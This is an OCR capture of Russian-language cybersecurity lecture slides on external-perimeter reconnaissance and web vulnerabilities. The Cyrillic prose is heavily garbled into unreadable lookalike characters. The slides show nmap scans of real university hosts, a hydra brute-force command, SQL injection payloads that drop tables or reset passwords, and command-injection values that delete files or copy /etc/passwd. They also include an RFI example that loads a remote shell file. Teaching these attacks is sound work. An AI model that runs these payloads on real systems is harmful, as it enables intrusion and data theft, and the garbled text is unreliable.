[MporpammHas
NHXeHepUs

CemunHap N29

BHewHnn nepumeTp.
Y A3BMMOCTH

OcHoBbl knbepbeszonacHoOCTH
benascknn .A.




@ QICII ‘ Ocrosel knbepbesonacocTy Cemuriap 9

Cucrema pnsa nabopatopHou paboTbl

ofF

https://hse.belyavskiy.ru

- ﬂorm-l: Ball a,u.pec 3ﬂeKTpOHHOl71 MOYThbl
Bxopn B «MoW akkayHT»

Mapons: Baw Homep cTyAeH4Yeckoro buneTa,
Tonbko 6yksbl aHrauickne MOOOBPINZOOO



https://hse.belyavskiy.ru/

@ eun OcHoBbl kKubepbesonacHoOCTH CemuHap 9

NpoBepka Hanuuua cepsucos

$ nmap hse.ru

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-13 22:08 UTC
Nmap scan report for hse.ru (178.248.234.104)

Host is up (0.0062s latency).

Not shown: 998 filtered tcp ports (no-response)

PORT STATE SERVICE

80/tcp open http

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 4.06 seconds




@ QICII ‘ Ocrosel knbepbesonacocTy Cemuriap 9

NpoBepka HanMuusa cepBUCOB NO CErMEHTY CeTU

nmap 89.175.46.0/24

89.175.46.0/24 Pasmep IPv4 appec cocTaBnseT 4 6aitta = 32 6uta
Y

[Mpn Macke 24 6uTa nMeem «CBOBOAHBIX» 8 6UT,
Macka ceTy, TO €CTb OHU MOTYT ObITb «3aHATHI» IOOLIMU 3HAYEHUSIMMU.

MepsbIt agpec B 24 6uTa OT Havana
cermeHTe (bn0Ke) agpeca




@ eun OcHoBbl kKubepbesonacHoOCTH CemuHap 9

NpoBepka Hanuuus cepBUCOB MO CErMeHTy ceTH

w

$ nmap 89.175.46.0/24

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-13 22:32 UTC
Nmap scan report for 89.175.46.2

Host is up (0.0099s latency) .

Not shown: 997 filtered tcp ports (no-response)

PORT STATE SERVICE

80/tcp open http

113/tcp closed ident

443 /tcp open https

Nmap scan report for exchange.hse.ru (89.175.46.10)
Host is up (0.0096s latency) .
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
113/tcp closed ident
443/tcp closed https
CkaHupoBarue bygeTt soinonHeHo no scem JOCTYTHBIM 8
Nmap scan report for abiturbot.hse.ru (89.175.46.50) yKasaHHO CeTn agpecam
Host is up (0.0098s latency) .




eu “ OcHoBbl kKubepbesonacHoOCTH CemuHap 9

MpoBeepka Ha «cnabbie» naponu (bruteforce)

Secure Login

Username <form method="post" class="space-y-4">
<div>
<label for="username" class="text-sm">Username</label>
<input type="text" id="username" name="username" required="" class="mt-1">
</div>
<div>
<label for="password" class="text-sm">Password</label>
“ <input type="password" id="password" name="password" required="" class="mt-1">
</div>
<div>
<button type="submit" class="flex text-sm bg-indigo-600">
Log in
</button>
</div>

Beb-npunoxeHue c popmoi </form>
ANA BXoAa

Password




CeMuHap 9

MpoBepka Ha «cnabbie» naponu (bruteforce)

OKnpaembln OTBET HA
~/usernames.txt \
-P ~/passwords-list.txt

HEBEpPHbIN BBOA
[JomeHHOe hostname.domain.ru -s 443

NMS http-post-form "/login:username="USER"&password="PASS”:Invalid username or password"
-0 ~/results.txt

Tun 3anpoca

POST [Mone nmeHu
Apapec

NMone naponsa
No/b30BaTeA
CTpaHULbl

/login E

https://github.com/vanhauser-thc/thc-hydra



https://github.com/vanhauser-thc/thc-hydra
https://github.com/vanhauser-thc/thc-hydra
https://github.com/vanhauser-thc/thc-hydra
https://github.com/vanhauser-thc/thc-hydra
https://github.com/vanhauser-thc/thc-hydra

@ eun OcHosbi kndepbesonacHocTy JNexkums 9. BHewHuin nepumeTp. YszeBumocTwm

NpoBepka Bepcuu nporpaMMHOro o6ecrneyeHus

NMAP nmap —-sV chat.miem.hse.ru

S nmap -sV chat.miem.hse.ru

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-13 22:26 UTC
Nmap scan report for chat.miem.hse.ru (82.204.189.170)
Host is up (0.0099s latency) .

Not shown: 994 filtered tcp ports (no-response)

PORT STATE SERVICE VERSTION

53/tcp open domain (generic dns response: NOTIMP)
80/tcp open http nginx

113/tcp closed ident

443/tcp open ssl/http nginx 1.25.2

4443 /tcp closed pharos

8443/tcp closed https-alt

KoHKpeTHaA

Tekywas sepcusa (Ha 14.04.2026):1.29.8
Bepcua 10O




@ eun Ochoebl knbepbesonacHoctu Nekunsa 9. BHewHuin nepnmeTp. YassumocTu

NpoBepka Bepcuu nporpaMMHOro o6ecneyeHus

NMAP nmap —-sV 89.175.46.77

S nmap -sV 89.175.46.77

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-13 22:41 UTC
Nmap scan report for testaspkos.hse.ru (89.175.46.77)

Host is up (0.0099s latency) .

Not shown: 997 filtered tcp ports (no-response)

PORT STATE SERVICE ~VERSION

80/tcp open http nginx 1.14.1

113/tcp closed ident

443/tcp open ssl/http nginx 1.14.1

Service detection performed. Please\weport any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) anned in 17.44 seconds

KoHKpeTHas
Bepcus no Tekywas sepcusa (Ha 14.04.2026):1.29.8

Ewe 6onee ycrapeswasn!!




@ QR“ OcHoebl knbepbesonacHocTu JNekuus 9. BHewHnii nepumeTp. YassnmocTm

SQL-uHbekuuun

Henposepsaemasa noacTaHOBKA AaHHbIX B SQL-3anpockl (Npy BHYTpeHHe ob6paboTke)

$sgql = "SELECT * FROM users WHERE username = 'Suser input username' AND password =
'Suser input password'";




@ QR“ OcHoebl knbepbesonacHocTu JNekuus 9. BHewHnii nepumeTp. YassnmocTm

SQL-uHbekuuun

Henposepsaemasa noacTaHOBKA AaHHbIX B SQL-3anpockl (Npy BHYTpeHHe ob6paboTke)

"and 1=1--
(narke HEBaAXHO YTO 34eCh)

$Ssgl = "SELECT * FROM users WHERE username 'Suser input username' AND password =
'Suser input password'";

$sql = "SELECT * FROM users WHERE username '' and 1=1--' AND password =
‘StrongPasswordl234'";

B atom Chy4yae — OTBET Ha 3anpocC 6y,qu «MOJIHbIM» BbIBOOOM BCEX noJib3oBaTesNen.
O6b|‘-IHO, 3TO ycneuwHas aYTeHTVI(i)I/IKaLI,VIFI noa «nepsBbiM» Nosib3oBaTesIeM B 3TOM CrNNCKe, a NepBbiM 0B6bIYHO co3patoT _aaMUHUCTpPaTOpPa_ .




@ QR“ ‘ Ochoebl knbepbesonacHoctu Nexuwa 9. BHewHwnii nepumeTp. YassumocTy 12 ‘

SQL-uHbekuuun

- Henposepsaemasa noacTaHOBKA AaHHbIX B SQL-3anpockl (Npy BHYTpeHHe ob6paboTke)

YTO NnpounsongeT, ecnm «310yMbILLIEHHUKY HanuULeT:

' DROP TABLE users; --

Un

"' UPDATE users SET password ="123456'; --

https://sqlmap.org/



https://sqlmap.org/

@ QR“ OcHoebl knbepbesonacHocTu JNekuus 9. BHewHnii nepumeTp. YassnmocTm

KoMaHgHble MHbeKL U

HenpOBepﬂemaﬂ noAaACTaHOBKA AadHHbIX B BbIMNO/IHAEMbIE KOMaHAbl

https://domain.ru/download.php?file=somedocument.pdf

<?php

$file = $ GET['file'];
exec ("cat files/S$file");
>

https://domain.ru/download.php?file=somedocument.pdf;rm%20-rf%20/var/www/html/index.php

- exec ("cat files/somedocument.pdf;rm -rf /var/www/html/index.php");

Ypanenue daiina index.php, 4To NpmeeneT kK HEBO3MOXHOCTU OTKPLITUA Be6-npunoxeHns (caiTa)
P.S. KoHeuHo, ecnu no aToMy nyTv pasMmelleHbl Gaiisbl Be6-npunoxeHus




@ QR“ OcHoebl knbepbesonacHocTu JNekuus 9. BHewHnii nepumeTp. YassnmocTm

KoMaHgHble MHbeKL U

HEI'IpOBEpFlEMaFI noAaACTaHOBKA AadHHbIX B BbIMNO/IHAEMbIE KOMaHAbl

BbinonHeHMe KomaHpg, 6e3 npoBepku

import os
ip address = input ("YkaxuTe IP-agpec M HaxXMuTe KHONKY PING: ")
os.system(f"ping {ip address}")

192.168.3.18{ cp /etc/passwd /var/www/html/passwd.txt'
Y

KonuposaHnue BaxxHoro ¢aiina ans nocneayowero 4ocTyna Kk Hemy yepes ctaHaapTHbid URL:
https://domain.ru/passwd.txt

- o0s.system("ping 192.168.3.18; cp /etc/passwd /var/www/html/passwd.txt")




@ QR“ OcHoebl knbepbesonacHocTu Jlekums 9. BHewHwWi nepumeTp. Y3BUMOCTH

Local File Inclusion (LFI) & Remote File Inclusion (RFI)

BO3MOXHOCTb A0OCTYNa K JIOKa/IbHbIM BO3MOKHOCTb 3arpy3ku «yAaneHHbIX»
dainnam cepsepa npu obpaleHnmn K $ainnoB. c gpyrmx cepBepos nNpwm
BEO-NPUNOKEHNAM obpalleHnn K BeHG-NpUIOKEHNAM

ObpalleHMe K QaljiaM dYepes Nepexon IO ObpaleHre K QanjiaM dYepes NOINCTAaHOBKY
KaTajioram: noyiHoro URL K BHEUWHEMY pPecypcy

../

/var/log/ https://domain.ru/view.php?file=http://special.ru/shell.txt

/etc/

https://domain.ru/view.php?file=../../var/log/lastlog




@ QR“ ‘ OcHoebl knbepbesonacHocTu JNekuus 9. BHewHnii nepumeTp. YassnmocTm

Local File Inclusion (LFI) & Remote File Inclusion (RFI)

BO3MOXHOCTb A0OCTYNa K JIOKa/IbHbIM BO3MOKHOCTb 3arpy3ku «yAaneHHbIX»
dainnam cepsepa npu obpaleHnmn K $ainnoB. c gpyrmx cepBepos nNpwm
BEO-NPUNOKEHNAM obpalleHnn K BeHG-NpUIOKEHNAM

[nA BbIABNEHMA TaKMUX YA3BUMOCTEN CO CTOPOHbI CEPBEPA,
HeobXx0ANMO aHAaNN3MPOBATb *KypPHanbl (noru)
obpauteHun n Hactpaneatb WAF (web-application firewall)
WUAN CaMU BED-NPUNOKEHUS
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